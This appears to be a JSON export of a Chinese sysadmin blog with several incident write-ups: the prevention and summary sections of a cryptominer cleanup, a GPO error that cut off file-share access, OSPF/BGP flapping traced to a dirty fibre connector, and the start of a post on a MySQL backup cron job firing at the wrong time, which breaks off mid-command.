放大因素：失陷主机未对出向连接做白名单限制，木马能自由外联矿池；且缺乏主机级入侵检测（EDR/HIDS），攻击持续数天才被发现。 六、预防措施\r收敛暴露面：Docker daemon 绝不开放 2375 无鉴权端口，确需远程管理走 TLS 双向认证或 SSH 隧道；非必要端口一律不对外开放。 口令与认证：跳板机、服务器禁用弱口令，强制 SSH key + MFA；定期用 lynis/ssh-audit 做基线核查。 出向白名单：生产服务器 egress 默认 DROP，仅放行 DNS、NTP、镜像与业务依赖的有限目标；矿池常见端口（3333/8080/14444 等）可在边界统一封禁。 主机入侵检测：部署 osquery / Wazuh / 云厂商 HIDS，对异常高 CPU、隐藏目录可执行文件、可疑 crontab/systemd 变更做实时告警。 最小权限与分区：业务以非 root 运行；/tmp、/var/tmp 挂载 noexec,nosuid，让下载到临时目录的恶意脚本无法直接执行。 应急准备：固化本文的\u0026quot;查进程 → 找守护 → 断外联 → 杀进程 → 删持久化 → 改凭证 → 横向排查\u0026quot;七步法为 SOP，并定期演练。 七、总结\r这次事件从\u0026quot;CPU 满载、业务变慢\u0026quot;的表象，一步步还原出\u0026quot;弱口令爆破 → Docker 端口暴露 → 内网横向 → XMRig 挖矿\u0026quot;的完整链条。技术上的清理并不复杂——杀进程、删自启、断外联、改凭证即可；真正的教训在暴露面收敛与纵深防御：不要把信任建立在\u0026quot;机器没公网 IP\u0026quot;上，内网横向移动往往比想象中容易。把 egress 白名单、主机 IDS、noexec 临时分区这三道防线补上，下次同类攻击大概率会在落地前就被拦下。\n","date":"2026-07-06T13:59:10Z","permalink":"/posts/55563ba9/","title":"清除服务器 XMRig 挖矿木马：入侵路径还原与清剿实录"},{"content":"问题背景\r周三上午9点，公司各部门陆续反馈无法打开共享文件夹。财务部最先报告无法访问存放月度报表的共享目录，紧接着人事部、研发部也相继反映同样的问题。影响范围覆盖全公司约200台终端，涉及至少5个核心共享目录——财务报表、人事档案、项目文档、IT工具库和公共模板。\n紧急程度极高：财务部当天需要完成月结报表提交，HR部门正处于月底考勤统计关键期，研发部的项目文档目录是日常协作的核心依赖。用户尝试打开共享路径时，Windows弹出\u0026quot;拒绝访问\u0026quot;错误，部分用户甚至连目录都看不见——文件夹图标消失，资源管理器中仅显示空白。\n我作为桌面运维负责人，接到工单后立即意识到这不是个别用户问题，而是系统性故障，需要在最短时间内恢复业务。\n故障现象\r用户端表现：\n访问 \\\\FILE-SVR01\\财务报表 时弹出错误：\u0026quot;\\\\FILE-SVR01\\财务报表 拒绝访问。\u0026quot;部分用户看到的是 \u0026quot;指定的网络名不再可用\u0026quot; 资源管理器中输入共享路径后，目录列表为空，部分共享文件夹图标变成灰色锁状标记 映射的网络驱动器（如Z:、Y:盘）显示\u0026quot;断开\u0026quot;状态，双击后报错 0x80070005 Access Denied 服务器端表现：\nFILE-SVR01服务器本身运行正常，CPU、内存、磁盘均无异常 SMB服务（LanmanServer）正常运行，net share 命令可看到所有共享仍在发布 事件查看器中大量出现 Event ID 5168（SMB2协议协商失败）和 Event ID 1006（SMB共享访问被拒绝） 关键日志片段：\n1 2 3 4 5 6 7 8 9 10 11 12 13 Event ID: 5168 Source: Microsoft-Windows-SMBServer Level: Error Description: SMB2 connection from client 192.168.10.55 was rejected. Share: 财务报表 User: DOMAIN\\zhangwei Access Reason: The share permission denies the requested access. Event ID: 1006 Source: Microsoft-Windows-SmbServer Description: The server denied access to share \u0026#34;财务报表\u0026#34; for user DOMAIN\\zhangwei. Requested Access: Read Share Permission: Everyone - No Access 注意最后一行——Everyone - No Access。这直接指向了共享权限层面的问题，而非NTFS权限。\n排查过程\r第一步：确认故障范围与影响面\r我首先在多台终端上测试不同的共享路径，结果如下：\n共享名称 管理员账号 普通用户账号 结果 财务报表 可访问 拒绝访问 管理员正常 人事档案 可访问 拒绝访问 管理员正常 项目文档 可访问 拒绝访问 管理员正常 IT工具库 可访问 拒绝访问 管理员正常 Public模板 可访问 拒绝访问 管理员正常 管理员账号（Domain Admins）全部正常，普通用户全部被拒。这初步排除NTFS权限问题——如果NTFS权限出问题，管理员也可能受阻。问题指向**共享权限（Share Permission）**层面。\n第二步：检查服务器共享权限配置\r登上FILE-SVR01，用 net share 财务报表 查看共享配置：\n1 2 3 4 5 6 7 8 Share name 财务报表 Path D:\\Shares\\Finance Remark 财务部月度报表共享 Maximum users No limit Permissions: Everyone, NO ACCESS DOMAIN\\FinanceGroup, READ DOMAIN\\Domain Admins, FULL 问题暴露了——Everyone被设置为NO ACCESS！但根据我的记录，原本Everyone应至少有READ权限（配合NTFS ACL做精细控制），这配置显然被改动了。\n继续检查其他共享：\n1 2 3 4 5 6 7 8 9 Share name 人事档案 Permissions: Everyone, NO ACCESS ... Share name 项目文档 Permissions: Everyone, NO ACCESS ... 所有5个核心共享的Everyone权限都被改为NO ACCESS。谁改的？什么时候改的？\n第三步：定位权限变更来源\r检查服务器本地操作历史——事件日志中没有手动修改共享权限的操作记录。服务器只有运维组有本地登录权限，近期无人手动操作这台服务器。\n那大概率是组策略（GPO）推送导致的。打开GPMC（Group Policy Management Console），查看近期应用到FILE-SVR01的GPO变更记录：\n发现前一天（周二晚22:00）有一个新的GPO IT-Security-Baseline-v2被链接到包含FILE-SVR01的OU FileServers。这个GPO是信息安全组新推送的安全基线策略。\n打开该GPO的配置，逐项检查：\n1 2 3 4 5 6 7 8 9 Computer Configuration \u0026gt; Policies \u0026gt; Windows Settings \u0026gt; Security Settings \u0026gt; Local Policies / Security Options 发现关键配置项： \u0026#34;Network access: Shares that can be accessed anonymously\u0026#34; = None \u0026#34;Network access: Restrict anonymous access to Named Pipes and Shares\u0026#34; = Enabled 这两项本身没问题，继续深挖——在GPO的用户权限分配和文件共享策略区域，发现了真正的元凶：\n1 2 3 4 5 6 Computer Configuration \u0026gt; Policies \u0026gt; Administrative Templates \u0026gt; Network \u0026gt; Lanman Server \u0026gt; \u0026#34;Set default share access for everyone\u0026#34; = Disabled 这就是根因！这个策略设置为\u0026quot;Disabled\u0026quot;后，相当于将所有共享的Everyone默认权限移除/设置为No Access。在Windows共享权限机制中，共享权限和NTFS权限是叠加取最严格值的逻辑：\n共享权限 = Everyone → No Access NTFS权限 = FinanceGroup → Read 叠加结果 = No Access（因为共享层已经封死了，NTFS层再怎么开放都无效）\n第四步：验证GPO应用时间线\r用 gpresult /h gpresult.html 在FILE-SVR01上生成策略应用报告，确认：\n1 2 3 4 5 GPO: IT-Security-Baseline-v2 Applied Time: 2026-07-02 22:00:15 Last Refresh: 2026-07-03 07:30:00 (自动刷新) Component: Group Policy Registry Setting: Set default share access for everyone → Disabled 时间线吻合：周二晚22点GPO首次应用，周三早7:30自动刷新再次确认生效，9点用户上班即触发故障。\n第五步：确认安全组的原始意图\r联系信息安全组负责人，了解到该GPO的意图是按照新版内控审计要求\u0026quot;禁止匿名用户访问共享\u0026quot;，但配置时误将**\u0026ldquo;Set default share access for everyone\u0026quot;设置为Disabled**。他们以为这只是禁止匿名访问（Everyone在安全语境中常被等同于匿名用户），但实际上这个策略移除的是共享层面Everyone的所有默认访问权限——包括已认证用户的隐式访问通道。\n在AD域环境中，已认证用户通过共享访问时，如果共享权限只给了特定组（如FinanceGroup），那该组成员确实能访问。但如果共享权限给了Everyone（包括Read），再由NTFS ACL做精细控制——这是绝大多数企业共享的标准做法。当Everyone被移除后，只有显式在共享权限中列出的组才能通过共享层——而我们的5个共享中，只有Domain Admins被显式授予了FULL权限，其他业务组只在NTFS层有权限，共享层依赖Everyone的Read兜底。\n解决方案\r紧急恢复（10分钟内完成）\r在FILE-SVR01上，手动恢复5个共享的Everyone权限：\n1 2 3 4 5 6 7 8 9 10 11 12 # 逐个共享恢复Everyone的Read权限 $shares = @(\u0026#34;财务报表\u0026#34;, \u0026#34;人事档案\u0026#34;, \u0026#34;项目文档\u0026#34;, \u0026#34;IT工具库\u0026#34;, \u0026#34;Public模板\u0026#34;) foreach ($share in $shares) { # 使用net share命令恢复权限 net share $share /grant:Everyone,READ } # 验证权限是否恢复 foreach ($share in $shares) { net share $share } 执行后，各共享的Everyone权限恢复为READ：\n1 2 3 4 5 Share name 财务报表 Permissions: Everyone, READ DOMAIN\\FinanceGroup, READ DOMAIN\\Domain Admins, FULL 用户端测试：普通用户可正常打开共享文件夹，NTFS ACL正常生效（财务组可读写，其他部门只读）。业务恢复。\n修正GPO策略\r在GPMC中修改 IT-Security-Baseline-v2：\n1 2 3 4 5 6 7 8 将 \u0026#34;Set default share access for everyone\u0026#34; 改为： Not Configured（不配置，保持系统默认） 同时，确保以下策略正确配置： \u0026#34;Network access: Restrict anonymous access to Named Pipes and Shares\u0026#34; = Enabled \u0026#34;Network access: Shares that can be accessed anonymously\u0026#34; = None 这两项已足够满足\u0026#34;禁止匿名访问\u0026#34;的审计要求，不需要动Everyone的默认共享权限。 修改后强制刷新FILE-SVR01的策略：\n1 2 # 在FILE-SVR01上强制刷新组策略 gpupdate /force 验证GPO生效后共享权限未再被篡改——Everyone READ权限保持不变。\n长期加固：共享权限规范化\r对所有文件服务器共享执行权限审计，建立标准配置模板：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 标准共享权限配置模板 # 共享层：Everyone=READ（兜底），业务组=CHANGE（如需写入），Domain Admins=FULL # NTFS层：精细ACL控制（按部门、角色配置读写权限） # 示例：为财务报表共享配置标准权限 # 1. 共享权限 net share \u0026#34;财务报表\u0026#34; /grant:Everyone,READ /grant:\u0026#34;DOMAIN\\FinanceGroup\u0026#34;,CHANGE /grant:\u0026#34;DOMAIN\\Domain Admins\u0026#34;,FULL # 2. NTFS权限（在D:\\Shares\\Finance上设置） icacls \u0026#34;D:\\Shares\\Finance\u0026#34; /inheritance:r # 先移除继承 icacls \u0026#34;D:\\Shares\\Finance\u0026#34; /grant:\u0026#34;DOMAIN\\Domain Admins\u0026#34;:(OI)(CI)F # 管理员完全控制 icacls \u0026#34;D:\\Shares\\Finance\u0026#34; /grant:\u0026#34;DOMAIN\\FinanceGroup\u0026#34;:(OI)(CI)M # 财务组修改 icacls \u0026#34;D:\\Shares\\Finance\u0026#34; /grant:\u0026#34;DOMAIN\\AllStaff\u0026#34;:(OI)(CI)RX # 全公司只读 icacls \u0026#34;D:\\Shares\\Finance\u0026#34; /grant:\u0026#34;CREATOR OWNER\u0026#34;:(OI)(CI)IO # 创建者控制自己文件 核心原则：\n共享层做粗粒度控制：Everyone兜底Read，防止策略误配导致全面中断 NTFS层做细粒度控制：按部门角色精确配置读写权限 两层叠加取严格值：共享层Read + NTFS层Modify = 最终Read（共享层更严则生效） 根因分析\r问题的根本原因是信息安全组在配置安全基线GPO时，对Windows共享权限机制理解不充分：\n策略理解偏差：将\u0026quot;Set default share access for everyone = Disabled\u0026quot;误解为\u0026quot;禁止匿名用户访问共享\u0026rdquo;。实际上该策略移除的是共享层面Everyone组的所有默认访问权限，不仅影响匿名用户，也切断已认证用户通过Everyone组获取共享层访问的通道。\nWindows共享权限叠加机制被忽视：共享权限和NTFS权限是叠加取最严格值。共享层封死（Everyone=No Access）后，NTFS层再开放也无效。安全组只关注了\u0026quot;禁止匿名访问\u0026quot;的目标，没意识到共享权限层是独立于NTFS层的访问控制关卡。\n权限架构依赖未被识别：公司现有共享架构采用\u0026quot;共享层Everyone=Read兜底 + NTFS层精细ACL\u0026quot;的标准模式。新GPO未做兼容性测试就直接推送，破坏了这一依赖关系。\n缺乏变更评审机制：GPO变更前没有与桌面运维组评审共享权限架构的依赖关系，安全组独立操作后直接推送。\n预防措施\r1. GPO变更评审流程\r建立GPO变更跨组评审机制：\n新GPO推送前必须向受影响系统的运维负责人发送变更说明 包含文件服务器、域控、关键业务系统的OU，GPO变更需双人审核 安全基线类GPO必须先在隔离测试OU中验证48小时，确认无副作用后再链接到生产OU 2. 共享权限架构文档化\r编写《文件服务器共享权限配置标准》，明确：\n共享层：Everyone=READ（最低兜底权限，保证已认证用户至少可通过共享层） NTFS层：按部门角色配置精细ACL 禁止将共享层Everyone设为No Access——匿名访问控制应通过\u0026quot;Restrict anonymous access\u0026quot;策略实现 所有新增共享必须遵循此标准模板 3. GPO监控告警\r在Zabbix中增加对FILE-SVR01的共享权限监控：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # 监控脚本：检查关键共享的Everyone权限 $shares = @(\u0026#34;财务报表\u0026#34;, \u0026#34;人事档案\u0026#34;, \u0026#34;项目文档\u0026#34;, \u0026#34;IT工具库\u0026#34;, \u0026#34;Public模板\u0026#34;) $alert = @() foreach ($share in $shares) { $perm = (Get-SmbShare -Name $share).GrantAccess | Where-Object { $_.AccountName -eq \u0026#34;Everyone\u0026#34; } if (-not $perm -or $perm.AccessControlType -ne \u0026#34;Allow\u0026#34; -or $perm.AccessRight -notmatch \u0026#34;Read\u0026#34;) { $alert += \u0026#34;$share - Everyone权限异常：$perm\u0026#34; } } if ($alert.Count -gt 0) { Write-Output \u0026#34;ALARM: 共享权限异常 - $($alert -join \u0026#39;; \u0026#39;)\u0026#34; exit 1 # Zabbix触发告警 } else { Write-Output \u0026#34;OK: 共享权限正常\u0026#34; exit 0 } 4. GPO测试环境\r搭建独立的GPO测试OU和测试虚拟机，所有新GPO先在测试环境验证：\n验证共享访问、域认证、打印机、用户登录等核心功能不受影响 验证48小时后无异常再推送生产环境 记录测试结果，作为GPO发布的前置条件 总结\r这次故障的核心教训是：组策略变更必须理解其对现有架构的依赖影响，安全策略的收紧不应以牺牲业务可用性为代价。\nWindows共享权限的两层叠加机制（共享层+NTFS层）是很多运维工程师和安全工程师都容易混淆的盲区。共享层是\u0026quot;第一道关卡\u0026quot;——如果共享层封死了入口，NTFS层再怎么精细配置都是无效的。\u0026ldquo;禁止匿名访问\u0026quot;的正确做法是启用\u0026quot;Restrict anonymous access\u0026quot;策略，而不是粗暴地移除Everyone的共享默认权限。\n在排查过程中，关键突破口是事件日志中的 Everyone - No Access 信息——这直接定位了共享权限层的问题。而后通过GPMC追踪GPO变更时间线，找到了策略配置的元凶。整个过程从接报到恢复业务约10分钟，但根因定位和长期加固需要更深入的机制建设。\n对于企业运维而言，组策略是强大的工具，也是危险的工具。一条看似简单的策略设置，如果脱离了对业务架构的理解，就可能引发全局性故障。安全与可用性的平衡，永远需要跨组协作和变更评审来保障。\n","date":"2026-07-05T18:49:05Z","permalink":"/posts/ac8933af/","title":"组策略共享权限配错致全公司无法访问共享文件夹"},{"content":"问题背景\r周一早晨8:15，IT运维组值班手机开始收到一连串业务投诉——总部办公区（DC-A）用户访问部署在分支机房（DC-B）的ERP系统时，页面每隔5~8分钟就会出现约30秒的\u0026quot;卡死\u0026quot;现象：页面加载超时、报表查询报错、部分用户甚至看到502 Bad Gateway。受影响用户约180人，集中在财务和采购部门，这两个部门对ERP依赖度最高，故障紧急度评级P1。\nDC-A与DC-B之间通过10Gbps专线互联，核心交换机之间建立OSPF Area 0邻接关系，各机房内部使用Area 1/2。两机房BGP使用各自AS号（65001/65002），通过OSPF学习对方的互联地址作为BGP下一跳。正常情况下，OSPF邻接稳定，BGP路由下一跳始终可达，跨机房流量畅通无阻。\n故障持续时间约2小时，期间ERP服务本身运行正常（DC-B内部用户无任何异常），问题明确指向跨机房网络层面。\n故障现象\r监控层面：Zabbix采集的ERP前端响应时间曲线呈现明显的周期性尖刺——基线200ms，每5~8分钟突然飙至3000ms以上，持续约30秒后回落。对应时段，Grafana上的跨机房TCP连接数从稳态的120条骤降至0，HTTP 5xx错误率同步跳升。\n用户层面：财务部张经理反馈\u0026quot;9:00打开应付账款页面卡了半分钟，刷新后又好了，过几分钟又卡\u0026quot;；采购部多人报告提交采购单时超时报错。\n网络层面：在DC-A核心交换机（CE6850-01）上持续观察BGP路由表，发现DC-B侧的172.16.0.0/16网段路由在反复出现和消失：\n1 2 3 4 5 6 7 \u0026lt;CE6850-01\u0026gt; display bgp routing-table 172.16.0.0 Network NextHop Med LocPrf Pref Path * 172.16.0.0/16 10.0.0.2 0 100 255 65002 I // 30秒后路由消失 \u0026lt;CE6850-01\u0026gt; display bgp routing-table 172.16.0.0 // No entry found // 再过20秒路由恢复 BGP路由的下一跳10.0.0.2是DC-B核心交换机的互联地址，通过OSPF学习。当OSPF邻接断开时，10.0.0.2的路由消失，BGP判定下一跳不可达，撤销172.16.0.0/16路由；OSPF邻接恢复后，下一跳重新可达，BGP路由重新生效。这正是典型的\u0026quot;OSPF驱动BGP路由震荡\u0026quot;模式。\n排查过程\r第一步：确认故障范围与定性\r第一时间在DC-A核心交换机上Ping DC-B互联地址：\n1 2 3 4 5 6 7 8 9 \u0026lt;CE6850-01\u0026gt; ping 10.0.0.2 repeat 100 Reply from 10.0.0.2: bytes=64 time=1ms TTL=255 Reply from 10.0.0.2: bytes=64 time=1ms TTL=255 Request timeout Request timeout Request timeout Request timeout Request timeout Reply from 10.0.0.2: bytes=64 time=1ms TTL=255 Ping结果呈现周期性超时——连续5~6个包超时后恢复，与业务监控的尖刺周期吻合。用大包测试进一步确认：\n1 2 \u0026lt;CE6850-01\u0026gt; ping 10.0.0.2 size 4000 repeat 50 // 大包丢包率高达40%，小包丢包率仅8% 小包丢包率远低于大包，这提示物理层可能存在误码问题——小包CRC校验通过的几率更高，大包更容易被误码破坏。\n第二步：检查OSPF邻接状态\r1 2 3 4 5 6 7 8 9 \u0026lt;CE6850-01\u0026gt; display ospf peer Area 0.0.0.0 Neighbor 10.0.0.2, Interface GE1/0/1 State: Full -\u0026gt; 正常时 // 故障时段观察 Neighbor 10.0.0.2, Interface GE1/0/1 State: Init -\u0026gt; 邻接断开 State: ExStart -\u0026gt; 正在重建 State: Full -\u0026gt; 重新建立 开启OSPF事件调试进一步观察邻接变化细节：\n1 2 3 4 5 6 7 \u0026lt;CE6850-01\u0026gt; debugging ospf event OSPF/Event: Nbr 10.0.0.2 state changed: Full -\u0026gt; Down (Receive bad hello seq) OSPF/Event: Nbr 10.0.0.2 state changed: Down -\u0026gt; Init (Hello received) OSPF/Event: Nbr 10.0.0.2 state changed: Init -\u0026gt; 2-Way (2-Way received) OSPF/Event: Nbr 10.0.0.2 state changed: 2-Way -\u0026gt; ExStart (Negotiation done) OSPF/Event: Nbr 10.0.0.2 state changed: ExStart -\u0026gt; Exchange (DB exchange) OSPF/Event: Nbr 10.0.2 state changed: Exchange -\u0026gt; Full (Adjacency done) OSPF邻接从Full断到Down再到恢复Full，整个过程约25~30秒，与业务中断时长一致。关键信息是Receive bad hello seq——收到了错误的Hello报文序列号，说明Hello报文在传输过程中被损坏。\n第三步：检查物理接口状态\r这是最关键的一步。查看互联端口GE1/0/1的统计信息：\n1 2 3 4 5 6 7 8 9 10 11 12 13 \u0026lt;CE6850-01\u0026gt; display interface GE1/0/1 GE1/0/1 current state: UP Last 300 seconds input rate: 854 bits/sec, 3 packets/sec Last 300 seconds output rate: 1236 bits/sec, 5 packets/sec Input: Total packets: 94782 CRC errors: 3847 \u0026lt;-- 异常！正常应接近0 Frame errors: 0 Overrun: 0 Output: Total packets: 94521 CRC errors: 0 Collision: 0 CRC错误计数3847，而且每分钟还在增长约50~60个！端口当前状态是UP（没有进入error-disable），但持续增长的CRC误码意味着大量报文在物理层被损坏——OSPF Hello报文、DD报文、LS Update报文都可能被CRC校验失败丢弃，导致邻接关系反复中断。\n查看DC-B侧的对应端口，同样有CRC计数增长：\n1 2 \u0026lt;CE6850-02\u0026gt; display interface GE1/0/1 Input CRC errors: 3612 \u0026lt;-- 对端也在涨 双向CRC错误都在增长，基本排除了单端交换机端口硬件故障的可能性，指向中间的物理链路——光纤本身或接头。\n第四步：排查光纤链路\rDC-A与DC-B之间10G专线通过ODF（光纤配线架）跳接，路径为：CE6850-01 GE1/0/1 → LC光纤 → ODF-A M3/V3 → 室内光缆 → ODF-B M3/V3 → LC光纤 → CE6850-02 GE1/0/1。\n先在交换机上开启光功率监测：\n1 2 3 4 5 6 7 8 \u0026lt;CE6850-01\u0026gt; display interface GE1/0/1 transceiver Rx Power: -14.2 dBm \u0026lt;-- 偏低！10G LR正常范围 -6~-20dBm，但已接近下限 Tx Power: -2.1 dBm \u0026lt;-- 正常 Rx Loss: 12.1 dB \u0026lt;-- 光衰偏大 \u0026lt;CE6850-02\u0026gt; display interface GE1/0/1 transceiver Rx Power: -13.8 dBm Tx Power: -2.3 dBm 两端收光功率均偏低约3dBm，光衰偏大。15km LR模块正常光衰应在6~8dB，实测12dB明显偏高。这说明链路中存在额外的光损耗点。\n第五步：定位光损耗点\r联系机房驻场同事到ODF架现场检查。同事反馈：ODF-A侧M3/V3端口的LC适配器内积有明显灰尘，尾纤插入时感觉松动。用光纤端面检测仪（Fiber Microscope）观察该适配器：\n适配器内芯有黑色颗粒污染物 尾纤端面也有轻微划痕和灰尘 这就是CRC误码的物理根因——适配器污染导致光纤端面之间存在空气间隙和散射，部分光信号在接头处被反射和散射（高回波损耗+高插入损耗），接收端收到的光信号功率偏低且带有失真，导致CRC校验失败。\n同事用光纤清洁笔（One-Click Cleaner）清洁适配器内芯和尾纤端面后，重新插接：\n1 2 3 \u0026lt;CE6850-01\u0026gt; display interface GE1/0/1 transceiver Rx Power: -6.8 dBm \u0026lt;--恢复正常范围！ Rx Loss: 6.8 dB \u0026lt;--光衰恢复正常 同时CRC计数停止增长，Ping大包测试丢包率归零：\n1 2 \u0026lt;CE6850-01\u0026gt; ping 10.0.0.2 size 4000 repeat 100 100 packets transmitted, 100 received, 0% loss OSPF邻接立即恢复稳定：\n1 2 \u0026lt;CE6850-01\u0026gt; display ospf peer Neighbor 10.0.0.2, State: Full (stable for 15 min) BGP路由恢复稳定，ERP访问恢复正常，故障解除。从发现CRC异常到清洁光纤接头，整个过程约40分钟。\n解决方案\r紧急止血\r清洁光纤接头：用One-Click Cleaner清洁ODF-A M3/V3适配器内芯和对应尾纤端面，重新插接后光功率恢复正常，CRC误码消失 重置接口计数器：执行reset counters interface GE1/0/1清零CRC计数，便于后续观察是否复发 根治措施\r更换退化适配器：ODF-A M3/V3的LC适配器因长期插拔和污染，内部陶瓷套管已有轻微磨损，更换为新的LC双芯适配器 更换受损尾纤：端面有划痕的尾纤更换为新尾纤，旧尾纤端面划痕无法修复 OSPF稳定性增强：调整OSPF Hello间隔和死亡间隔，增加邻接容错能力： 1 2 3 4 interface GE1/0/1 ospf timer hello 15 // 从默认10秒改为15秒，减少Hello报文频率 ospf timer dead 60 // 从默认40秒改为60秒，给邻接更多恢复窗口 ospf authentication-mode md5 1 cipher XXXXXX // 增加认证防止非法报文干扰 BGP震荡抑制：配置BGP路由衰减（route dampening），防止震荡路由反复注入转发表： 1 2 bgp 65001 route-dampening half-life-reachable 15 half-life-unreachable 15 reuse 750 suppress 2000 max-suppress-time 60 物理层监控：在Zabbix添加CRC计数器监控项，设置阈值告警： 1 2 3 监控项: snmp.get[ifInErrors.{#IFINDEX}] // CRC错误计数 触发器: CRC错误增量 \u0026gt; 50/分钟 → P2告警 触发器: CRC错误增量 \u0026gt; 200/分钟 → P1告警 光功率监控：通过SNMP采集光模块收发功率，设置偏差告警： 1 2 3 监控项: optical.rxpower[GE1/0/1] 触发器: Rx Power \u0026lt; -10dBm → P2告警（光衰偏高预警） 触发器: Rx Power \u0026lt; -18dBm → P1告警（即将断光） 根因分析\r本次故障的根本原因是ODF光纤适配器内芯污染导致的光信号衰减和失真，进而引发CRC误码→OSPF报文丢弃→邻接断建→BGP下一跳可达性波动→路由震荡→业务间歇中断，形成了一条从物理层到应用层的完整故障传导链。\n适配器污染的原因有二：\n日常维护不规范：机房ODF架近期有其他业务割接施工（周三新增一条2.5G专线），施工人员在ODF架操作时拔插了相邻M3/V3端口的尾纤用于测试，插回时未清洁端面，将手指油脂和灰尘带入适配器内芯 缺乏端面清洁SOP：团队光纤操作规范中没有\u0026quot;插接前必须清洁端面\u0026quot;的强制要求，日常巡检也不检查ODF适配器清洁度 光功率从-6.8dBm退化到-14.2dBm（增加了约7dB损耗），恰好是污染适配器造成的额外插入损耗。这个损耗水平尚在光模块接收灵敏度范围内（-20dBm），所以端口没有down，但信号质量已经劣化到足以产生大量CRC错误——这就是\u0026quot;端口UP但业务断\u0026quot;的典型场景。\n预防措施\r光纤操作SOP：制定并强制执行《ODF光纤操作规范》——任何拔插光纤操作必须先用One-Click Cleaner清洁端面和适配器，操作前后用端面检测仪确认清洁度。将此规范纳入变更管理流程，割接方案必须包含光纤清洁步骤\nODF适配器防护：空闲端口必须安装防尘帽，施工结束后检查相邻端口防尘帽是否完好。ODF架门保持关闭，减少灰尘侵入\n物理层监控体系：将CRC错误计数和光模块功率纳入核心监控，设置分级告警阈值。CRC错误是物理层故障的\u0026quot;早期信号\u0026quot;——远比端口down更早出现，做到故障预警而非故障后才发现\n光纤巡检制度化：每季度对所有ODF架做一次光功率测试+端面检测，记录光衰基线数据。光衰异常增长\u0026gt;2dB的链路标记为\u0026quot;需维护\u0026quot;，安排清洁或更换\nOSPF/BGP震荡防护：核心互联链路OSPF参数适当放宽（Hello 15秒、Dead 60秒），为物理层短暂抖动提供缓冲窗口；BGP开启route dampening，抑制震荡路由对转发表的反复冲击\n跨机房业务连续性增强：评估增加DC-A到DC-B的第二条互联链路（冗余路径），当主链路OSPF震荡时流量自动切换到备用链路，消除单链路故障对业务的影响\n总结\r这次故障的教训是：物理层的微小退化可以引发网络层的大规模震荡。一个ODF适配器里几粒灰尘，让光衰增加7dB，CRC误码飙升，最终导致180人的ERP服务反复中断2小时。\n排查的关键转折点是在接口统计中发现CRC错误计数持续增长——如果只看端口状态（UP），永远找不到根因。这也提醒我们，网络监控不能只盯着\u0026quot;端口UP/DOWN\u0026quot;和\u0026quot;带宽利用率\u0026quot;，CRC错误、光功率这些物理层指标同样是核心监控项，而且往往能提前预警。\nOSPF→BGP的震荡传导机制也值得牢记：当BGP下一跳依赖OSPF路由时，OSPF邻接的任何抖动都会直接传导到BGP路由层。在核心互联设计中，要么让BGP下一跳不依赖OSPF（比如用直连地址做下一跳），要么给OSPF足够的容错参数，要么开启BGP dampening抑制震荡——三条防线缺一不可。\n最后，光纤端面清洁这个看似琐碎的操作，实际上是机房物理层可靠性的基础。一根未清洁的尾纤，可能就是下一次P1故障的起点。\n","date":"2026-07-05T06:26:00Z","permalink":"/posts/0d552fca/","title":"OSPF 路由震荡致跨机房业务间歇中断的定位"},{"content":"问题背景\r公司核心业务系统使用 MySQL 8.0 作为主数据库，单实例部署在 CentOS 7 物理服务器上，数据量约 200GB。为保障数据安全，配置了每天凌晨 02:00 通过 Cron 执行 mysqldump 全量逻辑备份，备份文件写入本地磁盘后再由异地同步脚本上传至对象存储。\n这套备份策略稳定运行了一年多，从未出过问题。直到某个周四下午 15:30，运维群突然炸锅——业务方反馈系统响应极慢，订单提交超时，部分页面直接报 502。\n故障现象\r收到告警后第一时间登录服务器，现象非常直观：\nMySQL 进程 CPU 占用 680%（16 核服务器，几乎吃满），磁盘 IO util 100% SHOW PROCESSLIST 显示大量业务查询处于 Sending data 状态，堆积超过 200 个连接 慢查询日志疯狂刷屏，平时 50ms 以内的查询现在动辄 30s+ 最诡异的是：mysqldump 进程正在运行，且已经跑了将近 40 分钟 1 2 3 4 5 6 7 $ top -p $(pgrep -d\u0026#39;,\u0026#39; mysqld) PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 9842 mysql 20 0 58.2g 42.1g 11456 S 678.2 66.1 1423:45 mysqld $ iostat -x 1 Device r/s w/s rkB/s wkB/s await svctm %util sda 1423.0 892.0 185632 92340 45.2 0.44 100.0 问题很明显——mysqldump 全量备份在业务高峰期跑了，把 IO 全部吃光，导致正常业务查询排队阻塞。\n排查过程\r第一反应：是不是有人手动触发了备份？\r检查 mysqldump 进程的父进程：\n1 2 3 4 5 $ ps -ef | grep mysqldump mysql 9845 1234 3 14:48 ? 00:42:10 mysqldump --defaults-extra-file=/etc/mysql/backup.cnf ... $ ps -ef | grep 1234 root 1234 1 0 14:48 ? 00:00:00 /usr/sbin/CRON 父进程是 CRON，说明不是人为手动执行，确实是 Cron 触发的。\n第二反应：检查 Crontab 配置\r1 2 $ crontab -l -u root 0 2 * * * /usr/local/bin/mysql_backup.sh \u0026gt;\u0026gt; /var/log/mysql_backup.log 2\u0026gt;\u0026amp;1 Crontab 配置写的是 0 2 * * *，即每天凌晨 02:00 执行。但现在是下午 14:48 启动的，完全对不上。\n关键发现：系统时间和硬件时钟不一致\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ date Thu Jul 3 15:15:32 CST 2026 $ hwclock --show 2026-07-03 07:15:38.123456+08:00 $ timedatectl Local time: Thu 2026-07-03 15:15:40 CST Universal time: Thu 2026-07-03 07:15:40 UTC RTC time: Thu 2026-07-03 07:15:40 Time zone: Asia/Shanghai (CST, +0800) System clock synchronized: yes NTP service: active RTC in local TZ: no timedatectl 输出看似正常——时区是 Asia/Shanghai，NTP 也同步着。但是「硬件时钟」和「系统时间」差了整整 8 小时：硬件时钟显示的是 UTC 时间 07:15，而系统时间显示 CST 15:15。\n此时一个细节引起我的注意——RTC in local TZ: no 表示硬件时钟存储的是 UTC 时间，这本该是对的。但「系统时间」为什么不是从 RTC 加 8 小时偏移算出来的？\n进一步分析：Cron 实际执行时间\r1 2 $ grep CRON /var/log/cron | grep mysql_backup Jul 3 14:48:01 server01 CROND[1234]: (root) CMD (/usr/local/bin/mysql_backup.sh) Cron 日志明确记录：备份脚本是 14:48 启动的，不是 02:00。\n等等——如果系统时区是 Asia/Shanghai (UTC+8)，那 Cron 的 0 2 * * * 应该在北京时间凌晨 2 点执行。但为什么实际在 14:48 执行？14:48 如果换算成 UTC 就是 06:48，也不是凌晨 2 点。\n这说明 Cron 守护进程使用的时区和系统时区不一致。\n验证 Cron 守护进程的时区\r1 2 $ cat /proc/$(pgrep cron)/environ | tr 